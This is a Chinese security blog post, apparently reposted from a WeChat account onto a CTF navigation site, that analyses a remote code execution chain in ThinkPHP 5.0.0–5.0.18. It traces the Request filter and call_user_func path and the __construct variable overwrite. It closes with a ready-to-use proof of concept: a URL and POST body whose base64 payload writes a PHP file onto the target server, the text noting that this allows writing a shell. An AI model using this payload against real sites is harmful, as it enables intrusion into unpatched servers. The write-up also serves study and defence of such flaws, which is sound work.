ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

渗透技巧 2年前 (2021) admin
749 0 0
声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


文章来源:CSDN博客(Y4tacker)

原文地址:

https://y4tacker.blog.csdn.net/article/details/115893304


前言

网上看到的POC,我详细分析了路由和poc,是对一个姿势的利用,比较骚的是::可以调用非静态方法以及set_error_handler的使用


Trick

比较骚的是我们一直以为php当中::只能调用静态方法,但是非静态一定条件下也能成功调用


成功输出123虽然有报错

<?phpclass A{    public $a;    public function y4tacker(){        echo 123;    }}
A::y4tacker();


失败

<?phpclass A{    public $a;    public function y4tacker(){        $this->a = '123';        echo 123;    }}
A::y4tacker();


分析

首先利用点是利用thinkphp/library/think/Request.php中的$value = call_user_func($filter, $value);来执行任意函数;

之后可以利用thinkphp/library/think/view/driver/Php.php当中的eval(‘?>’ . $content);实现任意命令执行从而实现Shell的写入


再往上看,我们需要找到调用了filterValue方法的地方,在thinkphp/library/think/Request.php当中有

if (is_array($data)) {            array_walk_recursive($data, [$this, 'filterValue'], $filter);            reset($data);        } else {            $this->filterValue($data, $name, $filter);        }


并且这个filter参数是由$filter = $this->getFilter($filter, $default);获取而来,我们跟踪这个函数

protected function getFilter($filter, $default){        if (is_null($filter)) {            $filter = [];        } else {            $filter = $filter ?: $this->filter;            if (is_string($filter) && false === strpos($filter, '/')) {                $filter = explode(',', $filter);            } else {                $filter = (array) $filter;            }        }
$filter[] = $default; return $filter; }

我们可以利用控制filter参数为空返回$this->filter,并且这个参数可控,之前的文章就分析过了,这里再简单提一下吧,在Request.php当中的method方法当中,可以控制$this->method__construct实现变量覆盖
$this->{$this->method}($_POST);

因此我们回到正题,首先get传入的s=captcha&g=implode是为了设置dispatch为method,我们稍微跟一下这个过程的关键步骤


首先调用self::routeCheck($request, $config);,之后进入$result = Route::check($request, $path, $depr, $config[‘url_domain_deploy’]);

ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

关键是这里,我们跟进
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

这里返回_construct
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

在这里对Request类初始化覆盖赋值
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

最终返回$this->method也就是GET,至于为什么非得传他,因为我们需要进入这个方法,所以必须得有路由参数
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

由于我们需要获取这个captcha路由规则
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

可以看到这里得到路由route这很重要
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

我们接着往下跟踪到checkRule
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

由于route路由为thinkcaptchaCaptchaController@index很明显因此返回method
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

当然我们不一定使用captcha,其他路由也行,但是captcha在这里是万能的QAQ,毕竟每个TP5都自带了,我们继续返回APP.php,跟进
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

此时参数为
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

我们继续跟进Request的param
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

这里参数合并
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

我们继续跟进
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

进入Request的input方法也就回到了我们上面说的利用array_walk_recursive执行任意类方法了,
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

他对data中每一个参数迭代运行fileter当中的方法

ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

这里面还有一个比较巧妙的地方是set_error_handler的使用, tp5 默认就调用了 error_reporting(E_ALL) ,且有一套内置的错误处理机制。上面预期解也提到了即使报了 warning 程序也会中止执行。

set_error_handler() 函数设置用户自定义的错误处理程序,会绕过标准 PHP 错误处理程序。其他的还有set_exception_handler() 函数设置用户自定义的异常处理函数。register_shutdown_function() 函数会注册一个会在PHP中止时执行的函数

POC

URL地址:

url/public/?s=captcha&g=implode

POST数据:
path=PD9waHAgZmlsZV9wdXRfY29udGVudHMoJ3k0dGFja2VyLnBocCcsJzw/cGhwIHBocGluZm8oKTs/PicpOyA/Pg==&_method=__construct&filter[]=set_error_handler&filter[]=self::path&filter[]=base64_decode&filter[]=thinkviewdriverPhp::Display&method=GET

成功写入phpinfo,利用成功
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势



关 注 有 礼



关注公众号回复“9527”可以免费领取一套HTB靶场文档和视频,1120”安全参考等杂志电子版,1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”在线杀软对比源码+数据源。

ThinkPHP5.0.0-5.0.18 RCE另类利用姿势 还在等什么?赶紧点击下方名片关注学习吧!ThinkPHP5.0.0-5.0.18 RCE另类利用姿势


推 荐 阅 读




ThinkPHP5.0.0-5.0.18 RCE另类利用姿势
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势
ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

欢 迎 私 下 骚 扰



ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

原文始发于微信公众号(潇湘信安):ThinkPHP5.0.0-5.0.18 RCE另类利用姿势

版权声明:admin 发表于 2021年12月20日 上午1:00。
转载请注明:ThinkPHP5.0.0-5.0.18 RCE另类利用姿势 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...